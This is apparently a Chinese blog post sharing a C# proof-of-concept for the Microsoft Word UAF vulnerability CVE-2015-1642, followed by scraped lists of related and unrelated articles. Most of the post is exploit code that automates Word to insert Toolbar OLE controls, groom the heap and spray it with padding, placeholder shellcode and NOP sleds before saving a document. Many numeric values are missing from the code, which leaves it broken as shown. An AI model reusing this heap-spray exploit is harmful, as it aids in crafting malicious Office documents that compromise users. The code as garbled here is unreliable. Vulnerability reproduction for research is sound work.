月初,玄武实验室的“每日安全动态”推送了一篇office UAF漏洞利用的文章,之前对office上UAF漏洞利用占位问题有些疑问,刚好就借助这篇文章重现了一下。其中堆喷射部分不是特别稳定,漏洞成因和利用的细节请参见原文链接。今天想起来,就把POC发这里吧。

  原文链接:Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 CTaskSymbol UAF by @ d0mzw https://t.co/NPJUJUqNSH

 namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
} private void HeapSpray(Word.Document objDoc)
{
Word.InlineShape[] ocx = new Word.InlineShape[];
MSComctlLib.Toolbar[,] toolbarArray = new MSComctlLib.Toolbar[, ]; int block_size = 0x1000; string padding = "\u8080\u8080";
while (padding.Length < 0x1000)
{
padding += "\u2121\u2121";
}
padding = padding.Substring(, (0x9f2 - 0xc) / ); // 0a0a0a0a points here
string shellcode = "\uC0DE\uC0DE"; string pattern = "\u9090\u9090";
while (pattern.Length < block_size)
{
pattern += pattern;
}
pattern = pattern.Substring(, 0x800 - padding.Length - shellcode.Length); string block = padding + shellcode + pattern;
while (block.Length < 0xfffe0 / )
{
block += block;
} string chunk = block.Substring(, (0xfffe0 - 0x6) / ); //MessageBox.Show("[+] objAlloc size: 0x" + (chunk.Length * 0x2 + 0x4 + 0x2).ToString("X")); for (int i = ; i < ; i++)
{
ocx[i] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = ; j < ; j++)
{
toolbarArray[i, j] = ((MSComctlLib.Toolbar)ocx[i].OLEFormat.Object);
toolbarArray[i, j].Buttons.Add().ToolTipText = chunk;
}
}
} private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingB = "\u0c0c\u0c0c";
while (paddingB.Length < 0x60 / )
{
paddingB += paddingB;
}
string objAllocB = paddingB.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayB[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
} MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
} private void ReplaceHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingA = "\u0a06\u0a0a";
while (paddingA.Length < 0x60 / )
{
paddingA += paddingA;
}
string objAllocA = paddingA.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayA = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayA[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayA[j].Buttons.Add().ToolTipText = objAllocA;
}
} private void button1_Click(object sender, EventArgs e)
{
Word.Application objWord = new Word.Application();
objWord.Visible = true; object objMissing = System.Reflection.Missing.Value;
Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing); // How to: Programmatically Insert Text into Word Documents;
// https://msdn.microsoft.com/en-us/library/6b9478cs.aspx Word.InlineShape[] ocx = new Word.InlineShape[]; ReplaceHeap(objDoc, ocx); ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); DefragmenHeap(objDoc, ocx); HeapSpray(objDoc); // Null out the reference
object filename = Application.StartupPath + @"\test.docx";
objDoc.SaveAs2(ref filename);
objDoc.Close(ref objMissing, ref objMissing, ref objMissing);
objDoc = null;
objWord.Quit(ref objMissing, ref objMissing, ref objMissing);
objWord = null;
}
}
}

CVE-2015-1642 POC的更多相关文章

  1. 如何确定Ubuntu下是否对某个CVE打了补丁

        前些日子在月赛中,拿到了一台Ubuntu14.04的服务器,但并不是root权限,需要提权.我Google了一下,找到了CVE-2015-1318,CVE-2015-1328,CVE-2015 ...

  2. CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root

    catalog . 引言 . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch ...

  3. CVE-2015-1328(本地提权漏洞)

    /* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebe ...

  4. [EXP]Joomla! Component Easy Shop 1.2.3 - Local File Inclusion

    # Exploit Title: Joomla! Component Easy Shop - Local File Inclusion # Dork: N/A # Date: -- # Exploit ...

  5. GitHub万星项目:黑客成长技术清单

    最近有个GitHub项目很火,叫"Awesome Hacking",这个项目是由Twitter账号@HackwithGithub 维护,喜欢逛Twitter的安全爱好者应该了解,在 ...

  6. 转:GitHub 万星推荐成长技术清单

    转:http://www.4hou.com/info/news/7061.html 最近两天,在reddit安全板块和Twitter上有个GitHub项目很火,叫“Awesome Hacking”. ...

  7. billu_b0x靶场刷题

    https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机  nmap ...

  8. GitHub 万星推荐:黑客成长技术清单

    GitHub 万星推荐:黑客成长技术清单 导语:如果你需要一些安全入门引导,“Awesome Hacking”无疑是最佳选择之一. 最近两天,在reddit安全板块和Twitter上有个GitHub项 ...

  9. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  10. 从补丁到POC CVE-2015-0003(2015.3)

    从补丁到POC CVE-2015-0003 1. 简介 该漏洞是由于Windows的win32k.sys模块存在对用户层参数验证不完全,导致存在空指针解引用(Null Pointer Derefere ...

随机推荐

  1. PHP面向对象的基本原则

    对象内部是高内聚的 ——对象只负责一项特定的功能(职能可大可小) ——所有对象相关的内容都封装到对象内部 高内聚就是该有的都有,用的时候不会缺胳膊少腿! 对象对外是低耦合的 ——外部世界可以看到对象的 ...

  2. python API url 级联生成

    参考了一下公司 python 达人 rpc 接口级联 api 调用 rpc.api.users.list() rpc.api.login(username='',password='') rpc['a ...

  3. Spark on YARN模式的安装(spark-1.6.1-bin-hadoop2.6.tgz + hadoop-2.6.0.tar.gz)(master、slave1和slave2)(博主推荐)

    说白了 Spark on YARN模式的安装,它是非常的简单,只需要下载编译好Spark安装包,在一台带有Hadoop YARN客户端的的机器上运行即可.  Spark on YARN简介与运行wor ...

  4. window 端口占用,杀进程

    假如我们需要确定谁占用了我们的8008端口,在windows命令行窗口下执行: C:\Documents and Settings>netstat -aon|findstr 80 看到了吗,端口 ...

  5. 个人总结——Beta版本

    我们这次项目因为种种原因失败了,没办法达到预期的效果,这一点着实让人难过.但是作为一门课程,并不能说因为此次项目的失败就完全一无所获.在不断遇到困难和解决困难中学习,成长.虽然失败,但此次失败的经验教 ...

  6. 周记5——随机撒花特效、动态修改伪元素样式、contenteditable属性、手机端调试利器VConsole、浏览器端debug调试

    记录一些小零碎知识点,以便日后查看~ 1.随机撒花特效 教师节快到了,公司的产品提出一个需求:在IM(即时聊天)聊天界面弹出教师节的祝福“广告”,用户点击“发送祝福”按钮,聊天界面会随机撒花.这里的重 ...

  7. 常用工具说明--Git和GitHub简明教程

    一.Git的主要功能:版本控制 版本:想想你平时用的软件,在软件升级之后,你用的就是新版本的软件.你应该见过这样的版本号:v2.0 或者 1511(表示发布时为15年11月),如下图:那么如果你修改并 ...

  8. VMware Workstation 12激活码

    VMware Workstation 12 Pro key/注册码: VY1DU-2VXDH-08DVQ-PXZQZ-P2KV8 VF58R-28D9P-0882Z-5GX7G-NPUTF YG7XR ...

  9. 此请求的URL的长度超过配置的maxUrlLength值

    aps.net 网站的url长度默认限制为260个字符. 修改web.config即可   <system.web> <httpRuntime maxUrlLength=" ...

  10. Expression Blend实例中文教程(10) - 缓冲动画快速入门Easing

    随着Rich Internet application(RIA)应用技术的发展,各个公司越来越注重于项目的用户体验性,在保证其功能完善,运行稳定的基础上,绚丽的UI和人性化的操作设计会给用户带来舒适的 ...